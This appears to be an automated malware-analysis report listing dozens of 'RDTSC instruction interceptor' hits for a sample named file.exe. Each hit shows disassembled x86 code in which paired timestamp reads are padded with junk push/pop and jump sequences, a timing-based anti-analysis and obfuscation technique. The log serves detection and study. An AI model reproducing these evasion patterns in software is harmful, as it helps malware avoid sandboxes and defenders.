Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BCB8 second address: 99BCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A45F0 second address: 9A4608 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53F4F51F9Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2DF7 second address: 9B2E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F53F481BA89h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C65D2 second address: 9C65D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6F53 second address: 9C6F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6F59 second address: 9C6F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6F5D second address: 9C6F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7EC second address: 9CB7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7F0 second address: 9CB7F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7F4 second address: 9CB7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7FE second address: 9CB802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBB5D second address: 9CBB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBB65 second address: 9CBB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEEBD second address: 8AEEC3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEEC3 second address: 8AEEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4F1 second address: 9CE4F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4F5 second address: 9CE4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0437 second address: 9D043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010449 second address: 5010496 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F53F481BA89h 0x00000008 xor si, 6276h 0x0000000d jmp 00007F53F481BA81h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007F53F481BA80h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010496 second address: 50104B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501056C second address: 5010613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53F481BA83h 0x00000009 adc ecx, 3E4867EEh 0x0000000f jmp 00007F53F481BA89h 0x00000014 popfd 0x00000015 mov ebx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov ebx, esi 0x0000001e call 00007F53F481BA84h 0x00000023 mov edx, esi 0x00000025 pop ecx 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 call 00007F53F481BA7Ah 0x0000002e call 00007F53F481BA82h 0x00000033 pop esi 0x00000034 pop edi 0x00000035 mov ah, FBh 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 pushad 0x0000003a movsx edi, si 0x0000003d mov ebx, eax 0x0000003f popad 0x00000040 mov ebp, esp 0x00000042 pushad 0x00000043 mov ax, A379h 0x00000047 mov edi, esi 0x00000049 popad 0x0000004a pop ebp 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F53F481BA87h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010DDE second address: 5010DEE instructions: 0x00000000 rdtsc 0x00000002 mov cx, 8911h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010DEE second address: 5010DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010DF2 second address: 5010E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E0A second address: 5010E45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F53F481BA84h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F53F481BA80h 0x00000018 push dword ptr [ebp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E45 second address: 5010E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E49 second address: 5010E4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E4F second address: 5010E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E55 second address: 5010E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E66 second address: 5010E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010E6A second address: 5010E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010F10 second address: 5010F2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010F2B second address: 5010F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010F31 second address: 5010F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010F35 second address: 5010DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b nop 0x0000000c mov dword ptr [007270C0h], eax 0x00000011 push 00471310h 0x00000016 mov ecx, dword ptr [007270A8h] 0x0000001c push ecx 0x0000001d call 00007F53F93D2740h 0x00000022 mov edi, edi 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F53F481BA7Bh 0x0000002b xor ecx, 0211203Eh 0x00000031 jmp 00007F53F481BA89h 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 pushad 0x0000003a mov ebx, esi 0x0000003c push eax 0x0000003d push edx 0x0000003e mov bx, ax 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030059 second address: 503011B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F53F4F51FA4h 0x00000012 or eax, 3F9316F8h 0x00000018 jmp 00007F53F4F51F9Bh 0x0000001d popfd 0x0000001e mov dx, cx 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 call 00007F53F4F51F9Ch 0x0000002a call 00007F53F4F51FA2h 0x0000002f pop ecx 0x00000030 pop edx 0x00000031 popad 0x00000032 xchg eax, ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F53F4F51FA3h 0x0000003c xor esi, 377E3CCEh 0x00000042 jmp 00007F53F4F51FA9h 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007F53F4F51FA0h 0x0000004e add ah, 00000048h 0x00000051 jmp 00007F53F4F51F9Bh 0x00000056 popfd 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503011B second address: 5030141 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ch, B8h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030141 second address: 5030146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030146 second address: 503015F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, DCh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F53F481BA7Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503015F second address: 5030165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030165 second address: 503016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503016B second address: 503016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503016F second address: 5030189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F53F481BA7Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030189 second address: 503018F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503018F second address: 5030195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030195 second address: 5030199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030199 second address: 503019D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503019D second address: 50301C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F53F4F51FA8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50301C0 second address: 50301C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50301C6 second address: 5030218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F53F4F51FA3h 0x00000017 adc si, 1A6Eh 0x0000001c jmp 00007F53F4F51FA9h 0x00000021 popfd 0x00000022 mov eax, 38C92FF7h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030218 second address: 503023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-08h] 0x0000000c pushad 0x0000000d mov esi, 1EAE0883h 0x00000012 mov ecx, 333EA9DFh 0x00000017 popad 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503023F second address: 5030243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030243 second address: 5030249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030249 second address: 503027B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 jmp 00007F53F4F51FA1h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F53F4F51FA1h 0x00000014 nop 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50302AC second address: 50302B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50302B2 second address: 50302B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50302B8 second address: 50302BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030364 second address: 503036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503036A second address: 50303D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F53F481BA7Eh 0x00000011 sbb ch, 00000078h 0x00000014 jmp 00007F53F481BA7Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F53F481BA88h 0x00000020 and ecx, 460CE0D8h 0x00000026 jmp 00007F53F481BA7Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303D0 second address: 50303D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303D4 second address: 50303D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303D8 second address: 50303DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303DE second address: 50303E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303E4 second address: 50303E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303E8 second address: 503040A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503040A second address: 5030410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030410 second address: 5030416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030416 second address: 503041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503041A second address: 503043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53F481BA89h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503043F second address: 5030445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030445 second address: 5030449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030449 second address: 5030468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+1Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F53F4F51FA2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030468 second address: 503046E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503046E second address: 5030472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030472 second address: 5030476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030476 second address: 5030497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+18h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F53F4F51FA4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030497 second address: 5030505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F481BA81h 0x00000008 pushfd 0x00000009 jmp 00007F53F481BA80h 0x0000000e xor ax, EF18h 0x00000013 jmp 00007F53F481BA7Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push dword ptr [ebp+14h] 0x0000001f jmp 00007F53F481BA86h 0x00000024 push dword ptr [ebp+10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F53F481BA87h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030505 second address: 5030544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F53F4F51F9Eh 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F53F4F51F9Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030544 second address: 5030553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030553 second address: 503056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51FA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503056B second address: 503056F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030588 second address: 503058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503058E second address: 5030592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030592 second address: 5030596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108BD second address: 50108DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108DA second address: 50108E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108E0 second address: 50108E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108E4 second address: 50108FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov eax, 701995A7h 0x00000013 mov cl, E5h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108FA second address: 50109B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53F481BA84h 0x00000009 adc ecx, 0AE30E08h 0x0000000f jmp 00007F53F481BA7Bh 0x00000014 popfd 0x00000015 mov dx, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, edx 0x0000001d jmp 00007F53F481BA82h 0x00000022 mov al, byte ptr [edx] 0x00000024 pushad 0x00000025 mov bl, cl 0x00000027 call 00007F53F481BA83h 0x0000002c pushfd 0x0000002d jmp 00007F53F481BA88h 0x00000032 adc ch, FFFFFFF8h 0x00000035 jmp 00007F53F481BA7Bh 0x0000003a popfd 0x0000003b pop eax 0x0000003c popad 0x0000003d inc edx 0x0000003e pushad 0x0000003f mov ax, dx 0x00000042 mov ecx, ebx 0x00000044 popad 0x00000045 test al, al 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F53F481BA84h 0x00000050 add ch, FFFFFF88h 0x00000053 jmp 00007F53F481BA7Bh 0x00000058 popfd 0x00000059 movzx ecx, dx 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109B5 second address: 50109BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109BB second address: 50109BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
